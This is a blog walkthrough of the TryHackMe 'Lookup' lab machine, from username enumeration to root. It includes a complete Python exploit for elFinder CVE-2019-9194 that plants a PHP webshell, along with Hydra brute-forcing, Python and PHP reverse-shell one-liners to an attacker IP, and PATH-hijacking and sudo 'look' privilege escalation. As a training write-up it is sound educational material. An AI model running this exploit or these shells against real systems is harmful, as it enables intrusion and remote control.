> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Lookup Writeup: Username Enumeration to Root
- URL: https://taiwanding.com/en/tryhackme-lookup-writeup/
- Published: 2025-10-16T10:28:25.000Z
- Updated: 2026-07-15T02:49:59.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## Challenge Info

- **Platform**: TryHackMe
- **Room name**: Lookup
- **Difficulty**: Easy
- **Goal**: Capture the User Flag and the Root Flag
- **Link**: [https://tryhackme.com/room/lookup](https://tryhackme.com/room/lookup?ref=taiwanding.com)

## Reconnaissance

### Hosts configuration

```bash
sudo bash -c 'echo "10.201.21.100    lookup.thm" >> /etc/hosts'

```

### Nmap scan

```bash
nmap -Pn -sV -sC -p 22,80 10.201.21.100 -T4

```

**Scan results:**

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9
80/tcp open  http    Apache/2.4.41 ((Ubuntu))

```

### Directory enumeration

```bash
gobuster dir -u http://lookup.thm/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -t 20 -x php

```

**Paths discovered:**

- `/index.php` \- login page
- `/login.php` \- login handler script
- `/styles.css` \- stylesheet

### Step 1: Username enumeration

Finding the vulnerability

Visiting `http://lookup.thm` reveals a login form. After some testing:

**Testing a user that doesn't exist:**

```bash
curl -X POST http://lookup.thm/login.php \
  -d "username=test&password=test"

```

Response: `Wrong username or password.`

**Testing the admin user:**

```bash
curl -X POST http://lookup.thm/login.php \
  -d "username=admin&password=test"

```

Response: `Wrong password. Please try again.`

**Key finding**: the error messages differ! That means we can enumerate valid usernames.

### Enumerating users

I used Burp Suite Intruder to enumerate existing users:  
Remember to fix the password first, then brute-force the username.

![](https://taiwanding.com/content/images/2025/10/image-5.png)

**Users found:**

- `admin`
- `jose`

### Step 2: Password brute-forcing

Brute-forcing with Hydra

Brute-forcing the password for the `jose` user (admin is usually tougher):

```bash
hydra -l jose -P /usr/share/wordlists/rockyou.txt \
  lookup.thm \
  http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" \
  -t 16

```

**Success!**

```
[80][http-post-form] host: lookup.thm   login: jose   password: password123

```

### Step 3: Discovering a hidden subdomain

What we find after logging in

After logging in with `jose:password123`, we get redirected to:

```
http://files.lookup.thm/elFinder/elfinder.html

```

**Key findings**:

1. There's a hidden subdomain: `files.lookup.thm`
2. It runs the **elFinder 2.1.47** file manager

Updating Hosts

```bash
sudo bash -c 'echo "10.201.21.100    files.lookup.thm" >> /etc/hosts'

```

Looking at the important files

Inside elFinder we find several text files, the most important being:

**credentials.txt**

```
think : nopassword

```

**thislogin.txt**

```
jose : password123

```

### Step 4: Exploitation - elFinder CVE-2019-9194

Vulnerability info

- **CVE**: CVE-2019-9194
- **Affected versions**: elFinder <= 2.1.47
- **Vulnerability type**: Command Injection
- **Exploit**: https://www.exploit-db.com/exploits/46481

How the vulnerability works

When elFinder rotates an image it calls the `exiftran` command, and the filename isn't properly sanitized, which leads to a command injection vulnerability.

Preparing the exploit

**Python3 version of the exploit script:**

```python
import requests
import json
import sys

# This is python3 version of exploit from: https://www.exploit-db.com/exploits/46481
# Exploit Title: elFinder <= 2.1.47 - Command Injection vulnerability in the PHP connector.
# CVE: CVE-2019-9194

payload = 'SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg'

def usage():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py [URL]")
        sys.exit(0)

def upload(url, payload):
    try:
        with open('SecSignal.jpg', 'rb') as f:
            files = {'upload[]': (payload, f)}
            data = {"reqid": "1693222c439f4", "cmd": "upload", "target": "l1_Lw", "mtime[]": "1497726174"}
            r = requests.post(f"{url}/php/connector.minimal.php", files=files, data=data)
            j = json.loads(r.text)
            return j['added'][0]['hash']
    except Exception as e:
        print(f"[!] Upload failed: {e}")
        sys.exit(1)

def img_rotate(url, hash):
    r = requests.get(f"{url}/php/connector.minimal.php?target={hash}&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c")
    return r.text

def shell(url):
    r = requests.get(f"{url}/php/SecSignal.php")
    if r.status_code == 200:
        print("[+] Pwned! :)")
        print("[+] Getting the shell...")
        while True:
            try:
                user_input = input("$ ")
                r = requests.get(f"{url}/php/SecSignal.php?c={user_input}")
                print(r.text)
            except KeyboardInterrupt:
                print("\nBye kaker!")
                sys.exit(0)
    else:
        print("[*] The site seems not to be vulnerable :(")

def main():
    usage()
    url = sys.argv[1]
    print("[*] Uploading the malicious image...")
    hash = upload(url, payload)
    print("[*] Running the payload...")
    img_rotate(url, hash)
    shell(url)

if __name__ == "__main__":
    main()
```

Running the exploit

**Important**: you must use a **real JPG image file** — a text file won't work!

```bash
# 1. Use a real JPG image
cp /path/to/your/photo.jpg SecSignal.jpg

# 2. Confirm it's actually an image
file SecSignal.jpg
# Output: JPEG image data

# 3. Run the exploit
python3 exploit.py http://files.lookup.thm/elFinder

```

**Got a webshell!**

```
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data

```

### Step 4.5: Setting up a reverse shell

Setting up a listener  
Although we already have an interactive webshell, I tried to establish a reverse shell for more stable operation:

```bash
# Start a listener in Windows PowerShell
ncat -lvnp 4444
```

### Attempting the reverse connection

Run the reverse shell payload from the webshell:

```bash
Python reverse shell
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.90.144",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

# Or a PHP reverse shell
$ php -r '$sock=fsockopen("10.13.90.144",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Result  
Reverse shell established successfully.

### Step 5: Lateral movement - PATH hijacking

Hunting for SUID files

```bash
$ find / -perm -4000 -type f 2>/dev/null

```

**Key finding**:

```
/usr/sbin/pwm

```

Analyzing the pwm program  
Running `/usr/sbin/pwm` reveals that:

- The program calls the `id` command to obtain user information
- **The key point**: it calls `id` without an absolute path
- Based on the username, it reads the `/home/{username}/.passwords` file

The PATH hijacking attack

```bash
# 1. Create a fake id command
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' > /tmp/id

# 2. Make it executable
$ chmod +x /tmp/id

# 3. Modify PATH (put /tmp at the front)
$ export PATH=/tmp:$PATH

# 4. Run pwm
$ /usr/sbin/pwm

```

**Got think's password list!**

```
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
...
josemario.AKA(think)  ← note this one!
...

```

### Step 6: SSH login to grab the User Flag

Password analysis  
From the password list, the most suspicious one is:

```
josemario.AKA(think)

```

The name contains "think", so it's very likely the SSH password.

SSH login

```bash
ssh think@10.201.21.100
# Password: josemario.AKA(think)

```

**Logged in successfully!**

Grabbing the User Flag

```bash
think@ip-10-201-21-100:~$ cat user.txt
Redacted
```

### Step 7: Privilege escalation to Root

Checking sudo privileges

```bash
think@ip-10-201-21-100:~$ sudo -l

User think may run the following commands on ip-10-201-21-100:
    (ALL) /usr/bin/look

```

We can run `/usr/bin/look` via sudo!

Abusing the look command  
The `look` command searches a file for lines beginning with a given string.

Reference: [GTFOBins - look](https://gtfobins.github.io/gtfobins/look/?ref=taiwanding.com)

### Reading the Root Flag

```bash
# Use a for loop to try every digit
think@ip-10-201-21-100:~$ for i in {0..9}; do sudo look $i /root/root.txt; done
Redacted

```

## Key Takeaways

### 1\. Username enumeration vulnerability

**Telltale signs**:

- Different error messages for different users
- "Wrong password" vs "Wrong username or password"

### 2\. elFinder CVE-2019-9194 command injection

**How it works**:

- The image rotation feature calls an external command
- The filename isn't properly sanitized
- You can inject commands through the filename

### 3\. PATH hijacking (SUID exploitation)

**Attack prerequisites**:

- A SUID binary
- It calls an external command without an absolute path
- You can control the PATH environment variable

### 4\. Sudo abuse - the look command

**Check command**:

```bash
sudo -l

```

**References**:

- [GTFOBins](https://gtfobins.github.io/?ref=taiwanding.com)

**Exploitation method**:

```bash
sudo look [char] [file]  # read lines starting with a given character

```

## Lessons Learned

### On Step 1: username enumeration

This step actually ate up a lot of time up front. The room's intro mentions finding a hidden domain, so before starting to brute-force credentials I ran gobuster to scan for vhosts — but got nothing. I also did directory brute-forcing with gobuster, again without much to show for it. That's what pushed me to start looking at the login page for vulnerabilities. I got stuck here for a while too, checking for SQL injection and so on, before finally realizing I could enumerate users and successfully finding the user jose.

### On Step 4: exploitation - elFinder CVE-2019-9194

I'm not sure why, but I spent an enormous amount of time trying to use the exploit script that searchsploit provided, figuring out how to run it, but I just couldn't get it to work. Eventually I found a version on GitHub that also came with usage instructions. The usage instructions really matter — with this kind of exploitation script you absolutely have to understand the method before you know how to use it. See:

[TryHackMe/Lookup CTF/elFinder\_2-1-47\_exploit\_python3.py at main · cyvorsec/TryHackMeTryHackMe rooms Write-Ups. Contribute to cyvorsec/TryHackMe development by creating an account on GitHub.![](https://taiwanding.com/content/images/icon/pinned-octocat-093da3e6fa40-4.svg)GitHubcyvorsec![](https://taiwanding.com/content/images/thumbnail/TryHackMe)](https://github.com/cyvorsec/TryHackMe/blob/main/Lookup%20CTF/elFinder%5F2-1-47%5Fexploit%5Fpython3.py?ref=taiwanding.com)